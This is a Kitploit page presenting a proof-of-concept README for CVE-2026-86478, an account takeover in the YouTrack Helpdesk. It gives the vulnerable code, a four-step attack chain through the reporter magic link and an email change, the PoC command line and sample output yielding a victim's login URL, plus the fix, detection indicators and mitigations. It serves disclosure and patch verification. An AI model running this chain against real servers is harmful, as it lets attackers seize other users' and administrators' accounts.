Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/lheiakim/cve-2026-86478-poc
Defensive ToolsPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationAuthenticationPapers & Research
GitHublheiakim/cve-2026-86478-poc

CVE-2026-86478-PoC

CVE-2026-86478 - JetBrains YouTrack Helpdesk unauthenticated account takeover via self-asserted email (CVSS 9.8)

View Repository
1426 days agoNot yet reviewed
Share

CVE-2026-86478 — JetBrains YouTrack Helpdesk: Account Takeover via Self-Asserted Email

Status: PoC reconstructed as part of vulnerability research; no public exploit existed at the time.

ProductJetBrains YouTrack (self-hosted), Helpdesk component
AffectedAll builds before 2025.3.161254 and 2026.1.14042 (2026.2 line ships with the fix)
TypeCWE-290 — Authentication Bypass by Spoofing
CVSS 3.19.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
ImpactFull account takeover of any user (including administrators) via Helpdesk reporter email spoofing
Published2026-09-07 (CNA: JetBrains)

1. How Helpdesk Reporter Authentication Works

Helpdesk reporters are external clients without passwords. An account is created automatically when someone submits a ticket via the public form or by email. To access their tickets, the reporter receives a magic link with a signature:

GET /landing?target=reporterLanding&sign=<token>
  → frontend does POST /api/reporterLanding?sign=<token>

The token is issued by HelpdeskReporterServiceImpl.createLandingUrl:

val signature = entitySigningService.newSign(
    reporter, issue, SignatureDuration.NOTIFICATIONS)   // valid ~14 days
UriBuilder.fromUri(baseUrl).path("landing")
    .queryParam("target", "reporterLanding")
    .queryParam("sign", signature)

ReporterLandingResource (vulnerable build 2026.1.13874):

public XdUser resolveUser(ContainerRequestContext req) {
    return entitySigningService.parseSign(sign, XdIssue.Companion).getUser();
}

@POST @CustomAuth
public RedirectResponse landing(@QueryParam("sign") String token) {
    if (loggedIn.isGuest()) { /* redirect only */ }
    XdUser merged = helpdeskReporterService.onReporterEmailVerified(loggedInUser);
    // VULNERABILITY: Hub login URL is issued for the MERGED account unconditionally:
    String uri = helpdeskReporterService.createHubAuthUrl(merged, issue);
    return new RedirectResponse(uri, ..., true);
}

2. Account Merge Mechanism — the Escalation Point

onReporterEmailVerified(reporter) (vulnerable version):

clones = users.where(u -> u.email == reporter.email
                       && u.isEmailVerified == true)
               .where(u -> u != reporter);

if (!reporter.isEmailVerified() && !clones.isEmpty()
        && reporter.getType() == REPORTER) {
    return mergeReporter(reporter, findBestMatchingClone(clones));
}

The clone filter checks only email + verified flag, WITHOUT verifying account type (confirmed by disassembling onReporterEmailVerified$lambda$0: getEmail() eq getEmail() + isEmailVerified() eq const). A "clone" can be a regular user or an administrator whose email matches the reporter's.

createHubAuthUrl issues an interactive Hub invite-login URL (oauth2/interactive/invite/{token}, token from createBypassRestoreTokenForUser) — opening it in a browser grants a session for the specified account.

3. Full Attack Chain

StepActionDetails
1Foothold (no account)POST /api/feedbackForms/{uuid}/submit with the attacker's own email — getOrCreateReporterFromEmail creates a reporter (unverified, type REPORTER)
2Reporter sessionThe attacker extracts the magic link (sign, valid 14 days) from the confirmation email and opens it — browser is authenticated as their reporter
3Self-asserted emailThe reporter changes their email to the victim's address via the self-service profile; no ownership verification is required; emailVerified stays false
4TakeoverRe-opening the same magic link: onReporterEmailVerified sees an unverified reporter with the victim's email → merges into the victim's account → createHubAuthUrl(victim) → login URL for the victim in the response → full access

Result: attacker's session = victim's account (any verified user, including administrators).

4. What the Fix Changed (diff 2026.1.13874 → 2026.1.14047)

ReporterLandingResource.landing():

  • Uses the user from the signature (signedUser), not from the session
  • Issues createHubAuthUrl only for REPORTER-type accounts; others get a plain redirect
  • Explicitly sets merged.setEmailVerified(true) before login
  • Signatures are now email-bound: newEmailBoundSign / parseEmailBoundSign — changing the email invalidates the magic link

HelpdeskReporterServiceImpl:

  • getOrCreateReporterFromEmail prefers reporters with a verified email when multiple exist
  • onReporterEmailVerified rewritten via findMergeTarget (same merge semantics, but login is restricted at the resource level)

5. PoC

poc_cve_2026_86478.py (stdlib-only). Only for instances you own or have explicit written permission to test.

Implements steps 1–4: anonymous form submission → reporter session via magic link → email change to the victim's address (YouTrack/Hub profile REST) → re-opening the same link → obtaining the victim's login URL. The --login flag additionally follows it and proves the session via GET /api/me.

python poc_cve_2026_86478.py --url https://yt.lab.local/ \
    --form-uuid <public form UUID> \
    --attacker-email [email protected] \
    --magic-link "https://yt.lab.local/landing?target=reporterLanding&sign=<from email>" \
    --victim-email [email protected] \
    --i-am-authorized

Notes:

  • A magic link from the confirmation email is required — SMTP must be configured on the instance
  • If the form has CAPTCHA enabled — pass the token via --captcha-token
  • The victim can be any verified account with the asserted email

Expected output on a vulnerable instance:

[*] Fingerprinting target
    GET /api/me -> 200

[*] Step 1: anonymous helpdesk form submission (self-asserted email)
    POST /api/feedbackForms/.../submit -> 200

[*] Step 2: authenticating as the reporter via the magic link
    POST /api/reporterLanding -> 200

[*] Step 3: self-asserting the victim's email on the reporter profile
    profile email now: [email protected]

[*] Step 4: re-opening the same magic link (merge + takeover URL)
    POST /api/reporterLanding -> 200

[+] VULNERABLE: interactive login URL for the victim account:
    https://yt.lab.local/hub/oauth2/interactive/invite/abc123...
    Opening this URL in a browser establishes an authenticated
    session as the merged account (CWE-290).

6. Detection and Mitigation

Indicators of compromise:

  • POST /api/reporterLanding?sign=... from reporter accounts followed by an email change
  • Confirmation emails requested for existing employee addresses
  • Merge events in logs: Merging reporters with email (...), Merged reporter from ... to ...

Mitigation:

  1. Update to 2025.3.161254 / 2026.1.14042+; YouTrack Cloud is already patched
  2. Before patching: disable/restrict Helpdesk, prevent reporters from changing email
  3. Put /api/reporterLanding behind an auth gateway
  4. Rotate tokens and passwords of privileged accounts

7. References

  • NVD — CVE-2026-86478
  • OpenCVE — CVE-2026-86478
  • JetBrains — Fixed security issues
  • YouTrack Helpdesk Reporters (docs)

Disclaimer

This material is intended for vulnerability research and patch verification on instances you own or are authorized to test. Use against systems without the owner's permission is illegal.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    441
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools →